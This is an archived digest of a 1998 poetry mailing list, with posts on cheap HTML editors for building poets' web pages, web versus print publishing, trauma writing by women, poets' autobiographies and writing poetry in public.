some technical questions. right now (and I'm hoping this changes) i am running a mac2cx with mucho memory and a new hd, but it is slow and its brain fizzles whenever it enounters anything new in the software vein. i use netscape 2.02 and tried to use eudora but it woldn't have it. i write my code out in my notebook then type it into the computer, but eventually it wouldbe nice to export text to html or wave a magic wand over an essay and have it marked up. I've sampled a variety of html looks and feel that the basic template is really simple and thus easily taught--anyone who remembers dos or reveal codes will have a gas with html...but, and here's the ringer, eventually i would like to automate some of this html generation and was wondering if there was software out there (like a cheap html editor). GH mentions aolpress but that takes up so much memory. I use HTML Pro (which could really use an update) which is nice because you type in one window and behind it another code magically appears. it's good for getting the logic, solving problems, etc., but is fairly limited. I am new to all this and so I ask, should I keep working it out by hand, developing my html vocab, or is there a good editor that I can use that doesn't require a powrmac or an 040 chip?

sorry for the technical delay, now back to our debate:

> *Let's spread out the work, not burden any one person with this, AND get more people published, even if "only" online. Hell, let's get social! Think of it as a webbing bee.*

yeeehah! i feel like a real hopeful member of a search party. I'm also on a utopia/utopias list and now I find myself deleting IT all the time. Let's get organized. Who wants to help? "What is there to be done?"

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16. **Steve Tills**

Re: Critical issues

Sun 1 Mar 1998

Joel,

As somebody mentioned (Tom B., I think), Netscape 4's "Composer" is very easy to use. You can get a copy of Netscape for $30. AOL Press is also excellent. I'm pretty sure you can get that for free. (In fact, you can get almost anything for free, of course...) I think you'd have to have Windows 95 for these programs (and that's some money, _generally_...) and for Windows 95, you might need more memory, but a coupla gigs are only a coupla hundred dollars.

Someone else mentioned 3D for books--yep, I think this is _very_ close. Am gearing up to try it myself, in fact. Just went out and purchased Caligari 3D Truespace. Anyone with the time and ambition could not only make a book, but a virtual library as well. It's all coming very soon.

P.S. Totally Shameless Reading Series Promotion: My own first site, just beginning, was done on Netscape Composer. The URL is http://www.vom.com/stills. This next Monday's readers are Steven Farmer, David Bromige, and Peter Gizzi. They'll be presenting "A Troubadors Panel Discussion" and reading from respective poetries much influenced by the troubs. According to one Socopoets member here in Sonoma Cty., I've got Jehovah's Witnessess walking around Santa Rosa talking up this reading (see latest issue of "Awake," smile), but they must be doing it on a volunteer basis.

Joel Kuszai wrote:

> *ok. thanks Kcglowworm for your suggestions about "each of us" getting the business done. i have some comments and some rather silly questions perhaps, but there might be people on this list who can help. first, back to George H's post:*
>
> *I agree, but would suggest further:*
> *1. why doesn't each of us volunteer for such work, since it can all be attached to email as text files, and*
> *2. why do it only at the EPC home office, for the same reason?*
>
> *1. one thing in reply here. As someone who owns two computers that don't work (floppy disk drives broke), the use of the network has meant digital survival. sending docs via attachments or thru ftp or fetch has been crucial to all my projects. I can upload at school files and disks and then pull them down at home to edit, print, etc. Anyhow--and more on this question, as the network extends where I can continue a healthy percentage of my business, both on-line and off. It reminds me of when I was in college (late 80s) when I didn't own a computer and relied on the school labs. luckily they were open24hrs. now i'm glad when the door to a computer lab is locked, some kind of institutionally mandated form of situationist intervention.*
>
> *1.b*
>
> *George, a simple technical reminder which gets to the heart of the issue:*

please remember not to send attachments to the poetics list address, as not everyone has an email reader which will allow for this to be accomplished with any success, and also, people on the digest feedbag i think will have it worse as I can't even imagine howthe digest file handles attachments. And on that note, i find that not everyone I deal with on the network can really handle or access the technology required to work with attachments. this can and will be something that is overcome, but because I am barely/not quite able to do all of the things with a computer that I need to, I'm not always able to help.

All that aside, there are so many ways around the issue of attachments so the on-line collaboration is a possible pathway here to getting the EPC author page webs done. More of George:

Most of us on this list have access to a computer (or we couldn't be on this list unless your only access is through computer labs and such) and there are HTML editors that can be downloaded online (AOLPress, for example, is quite a handy one).

some technical questions. right now (and I'm hoping this changes) i am running a mac2cx with mucho memory and a new hd, but it is slow and its brain fizzles whenever it enounters anything new in the software vein. i use netscape 2.02 and tried to use eudora but it woldn't have it. i write my code out in my notebook then type it into the computer, but eventually it wouldbe nice to export text to html or wave a magic wand over an essay and have it marked up. I've sampled a variety of html looks and feel that the basic template is really simple and thus easily taught--anyone who remembers dos or reveal codes will have a gas with html...but, and here's the ringer, eventually i would like to automate some of this html generation and was wondering if there was software out there (like a cheap html editor). GH mentions aolpress but that takes up so much memory. I use HTML Pro (which could really use an update) which is nice because you type in one window and behind it another code magically appears. it's good for getting the logic, solving problems, etc., but is fairly limited. I am new to all this and so I ask, should I keep working it out by hand, developing my html vocab, or is there a good editor that I can use that doesn't require a powrmac or an 040 chip?

sorry for the technical delay, now back to our debate:

Let's spread out the work, not burden any one person with this, AND get more people published, even if "only" online. Hell, let's get social! Think of it as a webbing bee.

yeeehah! i feel like a real hopeful member of a search party. I'm also on

> *a utopia/utopias list and now I find myself deleting IT all the time.*
> *Let's get organized. Who wants to help? "What is there to be done?"*

↑ Index

17. Maria Damon
Re: Acker/Scalapino
Sun 1 Mar 1998

when i teach these two writers in the same course, or acker and a number of others in the same course (which goes by various names: weird books by women, women and the literature of trauma, women and experimental writing, etc) i usually offer a bifurcated model of both postmodernity and general trauma writing (but, w/in the framework of the courses, women's trauma writing, which in addition to historical trauma also includes the more --tho by no means exclusively of course --gendered phenomena of sexual abuse and sexual violence); there's the "hysterical mode" and the "flat affect mode", both of which are discernible modes in trauma survivor accounts and the styles characterized as "postmodern." it's cool to find that others are working on similar matters.

At 12:05 PM -0800 2/23/98, Laura Moriarty wrote:
>I wanted to thank Tom B., Steve T. and others for interesting and very
>unsentimental posts about depression - and to solicit them (you) for the
>upcoming headache and Scalapino nons -
>
>The fact of pain - of physicality and all the specificities of gender, age
>etc that it implies - exists in any writing, but it is sometimes put aside
>with a sense of a neutral writer and reader - No one wants to whine or to
>tell an I-overcame-the pain story with inspiring music - (well most of us
>don't) - and yet we write with our bodies -
>
>The degree to which thinking is embodied and this embodiment effects and
>shapes and allows for a text is discussable -
>
>The clausal quality of Leslie's texts for example and her speech with its
>particular breathing (breathiness), levelness and hesitations - her singing
>voice (which has been revealed to be amazing in her singing roles in K.
>Killian's plays) - are all apparent in her work - and have as much to do (in
>a completely intended way) with her physicality as with her Buddhism -
>(floating world etc) - and poetics - It is a continuum -
>
>I know that I'm not suggesting a new apporach to poetics particularly - just
>urging toward one possible emphasis - theoretical but not forgetting the
>physical situation and state of the theorist -

>
>PS -
>
>There is and will be more non today - an additonal piece with small gif by
>Myung Kim - (who is fascinating in the interview of her in the new Tripwire)
>- revealing herself to be the foundational writer and teacher she has been
>to a lot of the new writing that is going on in the Bay Area - AND OTHERS -
>
>about which more anon -
>
>Laura
>
>[redacted]
>http://socrates.berkeley.edu/~moriarty/

↑ Index

18. Garrett Kalleberg

AnnouncingŠ

Sun 1 Mar 1998

The Transcendental Friend
http://www.morningred.com/friend

(A journal of poetry, poetics, art & criticism.)

Updated on the first of every month, The Transcendental Friend will present several regular sections, including A Critical Dictionary, The Bestiary, Dialectic, and a Project. (Additional sections will be introduced in future issues.)

Something like the Princeton Encyclopedia were it edited by Bataille, Coleridge & Kierkegaard, perhaps, the Critical Dictionary will present articles on topics of a quasi-technical nature; our first entry is on "Sincerity," by Duncan Dobbelmann.

The Bestiary is a joint project of Laird Hunt & Eleni Sikelianos; this month's Bestiary features work by Lisa Jarnot, and is edited by Laird Hunt.

The whole of theory in a single frame, Dialectic, will offer texts in the moment of dialectical fissure. Our first issue presents a longer investigation of the question about the nature of "poetics" in the form of a brief survey of the literature.

We are pleased to present in our first issue a Project by artist Dennis Thomas, combining exquisite graphite on paper drawings with texts by the entomologist, Henri Fabre.

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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19. david bromige
Re: lives of the poets
Sun 1 Mar 1998

This is primarily for Miekal And, but I thought others might like to know . . . . . Don't know why I was that overdressed the day my son Chris took that (cover of THE DIFFS #3) pic, perhaps had some "square-world" function to attend, but if you would care to see a pic of me UNDERdressed, plus others of me with friends & relatives, let me refer you to the Contemporary Authors "Autobio" series, published by Gale Resarch in Detroit, vol. 26, which should be in yr local college libary by now (and includes also autobios by Sheila Murphy, Carl Djerassi, Ed Foster, David Meltzer, Sarah Menefee, Stephen Schwartz, Nanos Valaoritis, C.K.Williams, Michael Bishop, Dorothy Bryant, Victor de Suevo, Richard Harteis, Marvin Himestra, Leza Lowtiz, Thomas Love Taylor, and [a corker!] Julia Vinograd.) Earlier volumes have much to offer also. One of my faves is George Bowering's. Another is Anselm Hollo's. A third is Rae Armantrout's, although I wish _I_ could have written it about her, so that it might go beyond her 24th year. I've read in proof Ron Silliman's, a brilliant coping with the assignment, which must be forthcoming shortly. Check out Listmaster Bernstein's piece in a previous volume, too. He elected to use an interview. The approaches can be quite various, happily, although many go for the linear perspective.

Also,like others on this List, I have an upcoming entry (about my writing) due to be published in April in the DLB series from Gale. Don't know how long your college library will take to acquire and process this volume, the 2nd, I believe, to result from our own Joseph Conte's perspicacious hard labor.

It would be great to see such accounts of EVERYBODY, stashed electronically. I'm sure Miekal And doesn't resemble my mental image of him, either, but I'm willing to shatter that ikon on the rocks of a more common reality. Besides, I enjoy my invented poets also, it's hard to surrender them to my curiosity. But I got in so much hot water last time I proposed we each invent the poet from the poetry that I better quit right now. I confess that I do read bios and autobios like crazy and I was only quacking idly with my squib abt wally stevens a year ago. Truth is stranger than fiction. Did you know Doris Day slathered Vaseline all over herself once a week, then swathed herself in Saranwrap so she could

get a good night's sleep w/o staining the sheets? That she went w/o sex for 3 years? That one of her legs is longer than the other? Or closer to home, that Sheila Murphy likes to eat gorp, a mixture of Virginia peanuts, slivered almonds, shaved coconuts, and raisins? That the first word of Bowering's autobio is his wife's name? That Stephen Schwartz was named after Stephen Spender? That Ed Foster published under the name Retsov? That when she was 9, Sarah Menefee was converted by a blind Baptist who had been struck by lightning? That my great-grandfather was murdered by poachers? That Ron Silliman spent his first acid trip (it was still legal then) on an apartment building rooftop, just for the heck of it taking apart a TV aerial? And that it was the night his father was fatally injured? And Jack Spicer died?

↑ Index

20. Patrick F. Durgin

Address request = Tina Darragh

Sun 1 Mar 1998

Pardon, but has anyone of us got a means of contact for Tina Darragh? Please back-channel...and thanks

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

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21. Karen Kelley

Re: Critical Issues

Sun 1 Mar 1998

Joel,

I was reluctant to give up the html handcoding, but there's a big world of wysiwyg editors out there & they save lots of time & let you move on to bigger & better, etc.

There are plenty of editors you can download off the web as trial products--usually for 30-60 days. If you want to learn lots of interfaces, you can probably avoid buying anything indefinitely!

HotMetal Pro (Is this what you mean by HTML Pro?)was my choice for the transition from hand to wysiwyg. It "thinks" like a person. NetObjects Fusion is rather a poetic program, by which I mean it can do ANYTHING, if only you can think associatively & attune yourself to its rationale. My favorite, though, is Front Page, but that's Microsoft--and lots of people won't deal with them, though anyone who wants to debate the god/bad (typo but I'm keeping it) Microsoft issue is welcome to backchannel me :)

The newer Word version has html-export capability, and I imagine that's true for the MAC version as well.

Good luck!

↑ Index

22. Robin Morris
Re: Critical issues
Sun 1 Mar 1998

Yes, you can download AOL Press free. You can also run it (if you get the right one) on Windows 3.1.

Robin

At 11:02 AM 3/1/98 -0800, you wrote:
>Joel,
>
>As somebody mentioned (Tom B., I think), Netscape 4's "Composer" is very easy to
>use.
>You can get a copy of Netscape for $30. AOL Press is also excellent. I'm pretty
>sure you can get that for free. (In fact, you can get almost anything for free, of
>course...) I think you'd have to have Windows 95 for these programs (and that's
>some money, _generally_...) and for Windows 95, you might need more memory,
but a
>coupla gigs are only a coupla hundred dollars.
>

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

↑ Index

23. ScoutEW

Re: lives of the poets/bromige clothing

Sun 1 Mar 1998

D. Bromige, its not what you wear,
its what you have to
say.
-and you said a lot when you visited my class w/pierre joris in
October 1997, the reading was so excellent the next day I didn't
even notice if you were =Over
or=Under dressed, and for someone
to even start
a discussion on the kind of clothing you wear is interesting, alot of people
believe that wearing a suit and tie or nice clothing is some kind of
concession
into the square world or the lifestyle of the "uptight" I persoannly dont giv
e afuck (who cares)
- I have the flyer from the reading on my refrigerator here in Albany where
you are dressed in a three piece suit and look so calm cool and ready to talk-
its right next to my picture of muhammid Ali, see ya
-some times life is stranger than fiction-B.R.

↑ Index

24. Joe Ahearn

Re: smack / In the Cut

Sun 1 Mar 1998

At 07:15 AM 3/1/98 EST, you wrote:
>It all sounds pretty compatible to me. Why not publish a poem on a sidewalk
or
>bus?

Here in Dallas, our ubiquitous Bob Trammel won a contest sponsored by the city. Now his poems will appear on the walls of the Central Transit Authority for twenty years.

Joe Ahearn

_____

[redacted]

↑ Index

25. Henry Gould
Re: Printers?
Sun 1 Mar 1998

On Sat, 28 Feb 1998 23:37:26 -0800 Mark Weiss said:
>I didn't call them crooks, Henry. Glass of Green Tea is ok, except that
>there's a lot of read-through because the paper is rather light, but the
>two samples they sent me were really appallingly bad printing.

Mark, I wasn't responding to your post. We chose the Green Tea paper carefully & decided that the lightness & strength (in a very long book) was what we wanted. I was responding to Doug Messerli, who called them "crooks". - Henry Gould

↑ Index

26. Henry Gould
book
Sun 1 Mar 1998

Say goodby to the books

tactile authority, wingspread

spine

walking with the black-on-
white like a page among
pages

a wriggly field full of homers
in the middle of a merry can
of worms

Babe Ruth follows you
out into the dreamfields
of corn

goodby books!
remember my
whisper

- Jack Spandrift

↑ Index

27. Steve Tills
Re: sinister and gauche
Sun 1 Mar 1998

I know a fellow who's mostly righthanded, but masturbates lefthanded, says he likes that hand better for couple sex, too. Always thought that was a quite interesting idiosyncracy. Stills

Mark Baker wrote:

> *Lefties write good poetry, but never the poetry of old age.*
> *A psych prof at UBC for years attended readings at the Kootenay*
> *School, noticed the absence of aged lefties, then published*
> *his research proving that lefties die young. Sophocles, a righty,*
> *wrote that to have been born leftie was next best to never*
> *having been born.*
>
> *Who was the Blue Jays' first first baseman who threw left*
> *but batted right? Noticeable hitch in his swing.*
> *What a LANGUAGE poet he would've been.*
>
> *Mark Baker*

↑ Index

28. Marcella Durand
Re: Critical Issues
Sun 1 Mar 1998

Joel--Would it be possible to see Loss Glazier's list on the List? I'd be interested.

Thanks--Marcella

↑ Index

29. Thomas Bell
Re: Critical issues
Sun 1 Mar 1998

At 01:12 PM 3/1/98 -0500, Joel Kuszai wrote:

> *Let's spread out the work, not burden any one person with this, AND get more*
> *people published, even if "only" online. Hell, let's get social! Think of it*
> *as a webbing bee.*

> *yeeehah! i feel like a real hopeful member of a search party. I'm also on a utopia/utopias list and now I find myself deleting IT all the time. Let's get organized. Who wants to help? "What is there to be done?"*

There is a lot of material already available even though it is not organized. I have informally gathered URL's for a number of individual and collaborative sites. I think this is an important direction to look into. But I do have a strong personal reaction to the idea of orgAGAGG ation (guess my hand does, too). tom bell

↑ Index

30. Thomas Bell
Re: Critical Issues
Sun 1 Mar 1998

At 11:57 AM 3/1/98 -0800, Karen Kelley wrote:
>Joel,
>
Trellix (http://www.trellix.com) is new - I found it very
usefull for easily publishing (to the web) a series of related
pages with text and graphics. I guess I published an epub?
Cost is about $100.
tom bell

↑ Index

31. William Marsh
Re: this is the hour of the web
Sun 1 Mar 1998

---

this recent discussion both exciting and exasperating / yes, access is soon no longer a problem, as public libraries go on-line etc., as Bill Gates (bless him?) donates millions to furnish Microsoft-ready workstations (the business is still there--but let's take advantage, i guess) / but besides access, and this more to Tom's post below, web artists, e-publishers, etc., have to consider common-de-nominator ceilings on an "audience"'s PC capabilities -- modem and computer speeds, for example -- which limit some people's "viewing power" once they've managed to view

as for "collective actions," one exciting possibility that i'm exploring currently with another publisher is "cross-publishing", where respective sites (two or

three art or poetry e-zines, for ex) build links to each other's servers to create a small web ring -- the model is the net itself, which we're constantly reminded is actually one big meta or hypertext / like-minded ventures this way aspire to the kind of "larger-than-myself" or "mysite" attitude i think Miekal And was calling for, not only promoting but subsuming each other -- creating "metazines" through aggregation

otherwise, i think it's extremely important for web workers to remember what makes e-publication special and potentially different from paper publication (not better or worse, obviously, since they currently do and always will occupy separate domains, and what's interesting is how they nudge and redefine each other's parameters) / in general reply to Mike K's earlier query about people's preferences for reading (online, printout), the use of the web as a text archive to my mind is a drag, tho i'm the first to applaud its value for research, for "quick hits" of people's work, etc. / currently the page is a much more comfortable space (some will disagree i hope) for reading large blocks of text, for reading on buses, etc. -- the popular "you can't curl up in bed with a PC" is generally true, tho not for long, as MIT works while we sleep to build paperback-sized laptops with page-like resolution / but finding a way to simulate the experience of page-reading is hardly the point (akin to meat substitutes) / i think it's much more important to consider what has contributed to our historical familiarization with book and page technologies as "comfort zones", what in other words makes us hit the print icon when we find something on the net we wanna read / and what then might define comfortable uses of the web for reading, viewing, web publishing, etc. -- again carefully thinking about what can be done online that can't be done in print / maxing the media, iow, not just mixing -- just as some of the best books test the limits of that technology too

bill m

At 07:32 PM 2/28/98 EST, Tom wrote:
>I've been reading and re-reading Miekal's and Joel's recent postings.And I'm
>fascinated by the possibilities that the web would seem to present for
>collective actions. I need more education in these matters and look forward
>hearing what others have to say.
>
>Tom B.
>
>

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts

National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

↑ Index

32. Rebecca Weldon Sithiwong
this is the hour of the web
Sun 1 Mar 1998

Miekal,

my ancient asian scenes are no less stale than those of dreamtime village. I wonder as I spend my mornings with you all and what you offer how I will coerce my poetic friends to consider what these infernal machines can do for us in the land of eternal traditional culture. Is anyone on this list in email contact with a Thai poet working in Thailand?

Rebecca

↑ Index

33. George Bowering
Re: Critical issues
Mon 2 Mar 1998

> *To which (Ron's list) one could add*
>
> *Dodie Bellamy*
> *Rachel Blau DuPlessis*
> *Diane Ward*
> *Nicole Brossard*
> *Norma Cole*

Not quite true. I dont know about the others, but as to Nicole Brossard. There was a special issue of "la nouvelle barre du jour_, nos. 118-119, called "Traces: ecriture de Nicole Brossard. Nov. 1982. 222 pages.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

34. Patrick F. Durgin
Re: this is the hour of the web
Mon 2 Mar 1998

Well, some of the questions raised by this thread, especially as regards web-rings (meta-zines through aggregation), and the preference of pages to web-pages are addressed in multiple ways in Michael Joyce's book, "Of Two Minds" -- see also his web page, the url of which I haven't got on hand just now. I wish I'd WRITTEN IT DOWN somewhere. As far as the writing is concerned, I'm currently writing my first poem in hypertext and staring into the screen I find helps align me with the structure of the piece, somehow. In most cases, I'd rather read the printed word (which is why I publish my journal Kenning in that money-losing format), whereas I write to the screen and generally feel uncomfortable when I cannot. That's my vote. Patrick F. Durgin

`
`
`
` -----><-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Sun, 1 Mar 1998, William Marsh wrote:

> *this recent discussion both exciting and exasperating / yes, access is soon no longer a problem, as public libraries go on-line etc., as Bill Gates (bless him?) donates millions to furnish Microsoft-ready workstations (the business is still there--but let's take advantage, i guess) / but besides access, and this more to Tom's post below, web artists, e-publishers, etc., have to consider common-denominator ceilings on an "audience"'s PC capabilities -- modem and computer speeds, for example -- which limit some people's "viewing power" once they've managed to view*
>
> *as for "collective actions," one exciting possibility that i'm exploring currently with another publisher is "cross-publishing", where respective sites (two or three art or poetry e-zines, for ex) build links to each other's servers to create a small web ring -- the model is the net itself, which we're constantly reminded is actually one big meta or hypertext / like-minded ventures this way aspire to the kind of "larger-than-myself" or*

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I've been reading and re-reading Miekal's and Joel's recent postings.And I'm fascinated by the possibilities that the web would seem to present for collective actions. I need more education in these matters and look forward hearing what others have to say.

Tom B.

- -
William Marsh
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Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109

> -

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35. Dan or Orion Raphael Dlugonski
publishing; writing where
Mon 2 Mar 1998

wanting to chime in on two current streams here

yes--more people should publish chaps/mags be they in print or electronic. publishing helps create communities. in the 12 plus years i did NRG, a tabloid with a strong stylistic bias, many contacts wre made among the contributors, including folksl like johm m bennet, jeffrey little and ivan arguelles. my project for the last couple years, 26 books, focusses instead on this region (pacific northwest) and has create a web among those writers ive published, as well as helping my rep and possibilities in the region. just think if everyone published 6 or 9 issues of a mag how much would be out there to cross pollinate and -promote!

as for where you write, i write when it comes to me, which is usually after an event like a movie or a reading. i'll sit down outside the theatre ro wherever, sometimes walk a block or three before more words come and i have to stop and write more. also i do word sketches--which seldom become poems--watching and listening to people in places like bars and coffeehouses.

dan raphael

↑ Index

36. Thomas Bell
Re: this is the hour of the web and this is _The most bueatiful order?
Mon 2 Mar 1998

What I find energizing with epublication is the potential for bottom-up accretion of knowlege, people, pages, etc. Top-down still has a place but I was never much for _Dictionaries of (_____) Literature_, authorative guides, etc. I have started my own heap of sweepings. Anyone interested in connecting with, contacting, touching on this, _The Most Bueatiful Order_ please let me know. tom bell

At 06:34 PM 3/1/98 -0800, William Marsh wrote:
>this recent discussion both exciting and exasperating / yes, access is soon
>no longer a problem, as public libraries go on-line etc., as Bill Gates
>(bless him?) donates millions to furnish Microsoft-ready workstations (the
>business is still there--but let's take advantage, i guess) / but besides
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>have to consider common-denominator ceilings on an "audience"'s PC
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>
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>like-minded ventures this way aspire to the kind of "larger-than-myself" or
>"mysite" attitude i think Miekal And was calling for, not only promoting
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>
>otherwise, i think it's extremely important for web workers to remember
>what makes e-publication special and potentially different from paper
>publication (not better or worse, obviously, since they currently do and
>always will occupy separate domains, and what's interesting is how they
>nudge and redefine each other's parameters) / in general reply to Mike K's
>earlier query about people's preferences for reading (online, printout),
>the use of the web as a text archive to my mind is a drag, tho i'm the
>first to applaud its value for research, for "quick hits" of people's work,
>etc. / currently the page is a much more comfortable space (some will
>disagree i hope) for reading large blocks of text, for reading on buses,
>etc. -- the popular "you can't curl up in bed with a PC" is generally true,
>tho not for long, as MIT works while we sleep to build paperback-sized
>laptops with page-like resolution / but finding a way to simulate the
>experience of page-reading is hardly the point (akin to meat substitutes) /
>i think it's much more important to consider what has contributed to our
>historical familiarization with book and page technologies as "comfort
>zones", what in other words makes us hit the print icon when we find
>something on the net we wanna read / and what then might define comfort-
able
>uses of the web for reading, viewing, web publishing, etc. -- again
>carefully thinking about what can be done online that can't be done in
>print / maxing the media, iow, not just mixing -- just as some of the best
>books test the limits of that technology too
>
>bill m
>
>
>At 07:32 PM 2/28/98 EST, Tom wrote:
>>I've been reading and re-reading Miekal's and Joel's recent postings.And I'm

>>fascinated by the possibilities that the web would seem to present for
>>collective actions. I need more education in these matters and look forward
>>hearing what others have to say.
>>
>>Tom B.
>>
>>
>
>- -
>William Marsh
>PaperBrainPress
>Voice & Range Community Arts
>National University
>[redacted]
>http://www.dtai.com/~bmarsh
>snail: 1860 PB Dr. #4
>San Diego, CA 92109
>- -
>
>

↑ Index

37. Franklin Bruno
tripwire?
Mon 2 Mar 1998

I seem to have deleted the ordering info (address, price) for Tripwire that was posted a week or so ago. Could someone repost it (backchannel or otherwise) please?

Also, picked up Jeff Clark's -The Little Door Slides Back- yesterday, which (the parts I read before sleep yesterday) looks fascinating, and clearly quite a throw-down for the (us?) under-thirties to get cracking. Much thoughtfulness beneath a vividly decadent surface. ('Beneath' isn't right, but...) I'm excited.

fjb

↑ Index

38. rsillima
Writing in Public
Mon 2 Mar 1998

Duncan wrote "This Place Rumored to Have Been Sodom" on the SF Muni buses, and Whalen and Blackburn both wrote works obviously composed

likewise on public transit, which were important precedents for my writing when I was younger.

First instance I can think of, though, of a poet writing in public would probably be Pound in the wire cage in the mud at Pisa.

Ron

↑ Index

39. Miekal And
electro smooch
Mon 2 Mar 1998

Mark Prejsnar wrote:

> **In extension of stuff Tom Beckett has said, and several others have nodded to: I'm made *very* uncomfortable by the fact that the websters don't quite see how the immediate poetry-community structure has become split. This will be a temporary, and rapidly evolving situation. But it is going to exist in some form for some time.*

I dont believe that web publishing is creating any new schisms that havent already existed. Since I began publishing other's books in the late 70s there has always been visible divisions between letterpress, the xerox crowd, & the shiny-covered perfect bound crowd. My feeling is that it is just such divisions which make the challenges of wholeness & continuity in the larger community of the printed word separate parallels which need be continually juggled & mixed up. The advent of the web, is simply yet another way to enhance dissemination.

> **I know important and dynamic poets, writers, and readers of poetry who don't have much (or any) access to web and net modalities. This makes a huge difference as resources get shifted to cyberspace.*

I seriously propose that we think of the web as a broadcast medium, that there become web surrogates who create hardcopy from web content (& it has the possibility of becoming a whole new book art in itself) for just such isolated cases. The reverse of course, hard copy going cyber, is finally happening at a rate that would make Theodor Nelson proud.

> **Eventually, public libraries will provide something apporaching half-adequate resources for accessing "non" and other great cyber-publications. But this will continue to be a troublesome option, in relation to the hours poets can manage to spend in their public library, the ambiance and ability to concentrate, etc., & very importantly: their ability to submit if paper submissions are not accepted for electronic venues. Etc.*

as a community of about 10-20 people we jointly bought a computer & access, which really didnt amount to that much money per person. I firmly believe that

when possible, it is best to be independent of libraries & institutions because individuals cannot control access (unless perhaps if yr faculty or employee)...

> **Already (in a way many folks who've just posted apparently don't see) there is a large split between cyber-empowered poets and others; a gradual evolution of a two-tier structure in what had been a purely paper culture not long ago...*

My reading of this shift is that there has been & always will be splits of power & prominence, but when I consider that most of my own books have been in editions under 200 copies, & most are hidden in special collections & people's dusty shelves (or my dusty shelves, anyway), & most of my websites are getting at least 200 hits per month, I feel like the split that has never been in my favor (or even the larger communities that Im part of) is finally getting a chance to find visibility & balance.

Miekal

↑ Index

40. Schuchat Simon
Re: Writing in Public
Mon 2 Mar 1998

In its court-affiliated forms and in numerous other social contexts traditional Chinese poetry was very much a performance art. A bunch of courtier poets would be trailing the Emperor and when he would propose a topic, everyone would compete to come up with the best poem.

On a somewhat lower social level lots of poetry would be composed on the tongue in bars at parties, and frequently written up on the wall by the author or whoever had the best calligraphy.

Part of the point of inviting Li Bo (Li Po) over for drinks and dinner was to watch him come up with a poem, and compete with the other poets in the neighborhood.

Of course this is writing in public in a different sense from Duncan, Whalen or Blackburn on the bus, where they are outside and in a public space, taking in but not necessarily displaying themselves in public. G. Apollinaire is an earlier example, e.g. Lundi Rue Christine. Edwin Denby's aesthetic was "in public in private" and might be considered to devolve from the same issue.

Can one be both, writing in a public location privately and at the same time performing publicly? Maybe the second poem in my chapbook "At Baoshan" would be an example.

↑ Index

41. Fred Muratori
Re: Critical issues
Mon 2 Mar 1998

> *IN ADDITION TO the names that have already been mentioned, there have never been any critical issues of magazines devoted to:*
>
> *Beverly Dahlen*
>
> *Every single one of whom has produced more than enough great writing to warrant same.*
>
> *Ron*

Though it was not an issue _entirely_ dedicated to Dahlen, in 1986 _Ironwood_ (v14 n1) published a lengthy feature on her, including some sections of _A Reading_ as well as four or five appreciative essays, one by Duncan and one other by DuPlessis. I know that was the first place I'd encountered her work.

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

42. Miekal And
(or can you?)
Mon 2 Mar 1998

Dale M Smith wrote:

> *E-publications suck. But it looks like the future, in many ways, for poetry's market. Stillthe web is a medium every poet should hate. It limits the value of physical production. It limits the mobility of the product, tying the reader to one location, for me, often at work. It lacks the correlating physical materials that provides support to the word, reminding us of poetry's very tactile relation to the world, not to our own inner subjectivity. It promotes every kind of self indulgence becaue it is easier to reproduce*

> *inferior work. If you have to set type, line up each page, produce it, copy it and bind it you're gonna want to present poetry of the highest quality. On-line you might be tempted to publish lesser works because there is less time and money invested in it.*

Dale, Im charmed by the soapbox yr standing on, & thank gutenberg that there will always remain some traditionalists out there. I think your position is remarkable in light of what transpires minute by minute on the web. What I would like to know, tho, is what your feeling is about poetic works that are net dependent (or computer dependent via cdrom), works like hypertext, intermedia, soundpoetry, & animated poetries? Do these get discounted in this blanket condemnation of electronic poetics?

digitbrain

↑ Index

43. Miekal And
Re: archival strategies
Mon 2 Mar 1998

---

laura:

what about is webtexts had a .pdf file option that would insure anyone can print them out, formatting intact?

miekal

↑ Index

44. Jordan Davis
goodbye books
Mon 2 Mar 1998

Henyr!

Thank you for mentioning the name of my press, Goodbye Books. In honor of the happy coincidence, and as is the custom on this list, please permit me to sell something!

Steve Malmude's book got a tremendously respectful (n.b. not fawning!) review in Lisa Jarnot's News Letter. John Godfrey said among other things that art comes to this poet, not he to it, and that there are certain things the poet says which are none of the reader's business!

I'll send out a copy of this letterpress book free to the first person who e-mails me with their street address (it'll take me a week or so -- I have to go fold them together). The next nine people can have it for $10 ppd.

Read it now or read it later,
Jordan

↑ Index

45. Mark Prejsnar
eletronic kisses
Mon 2 Mar 1998

I haven't finished reading through the weekend's posts yet....Very likely I'll find that someone said something like this, but..I feel rather strongly moved by the cyber-spirit to say:

*In extension of stuff Tom Beckett has said, and several others have nodded to: I'm made *very* uncomfortable by the fact that the websters don't quite see how the immediate poetry-community structure has become split. This will be a temporary, and rapidly evolving situation. But it is going to exist in some form for some time.

*I know important and dynamic poets, writers, and readers of poetry who don't have much (or any) access to web and net modalities. This makes a huge difference as resources get shifted to cyberspace.

*Eventually, public libraries will provide something apporaching half-adequate resources for accessing "non" and other great cyber-publications. But this will continue to be a troublesome option, in relation to the hours poets can manage to spend in their public library, the ambiance and ability to concentrate, etc., & very importantly: their ability to submit if paper submissions are not accepted for electronic venues. Etc.

*Already (in a way many folks who've just posted apparently don't see) there is a large split between cyber-empowered poets and others; a gradual evolution of a two-tier structure in what had been a purely paper culture not long ago...

Mark P.
@lanta

↑ Index

46. Heather Starr
Re: Address request = Tina Darragh
Mon 2 Mar 1998

you probably already got this, but just in case --

Tina Darragh
[redacted]

take care
heather
>
> Pardon, but has anyone of us got a means of contact for Tina
> Darragh? Please back-channel...and thanks
>
> `
> `
> `
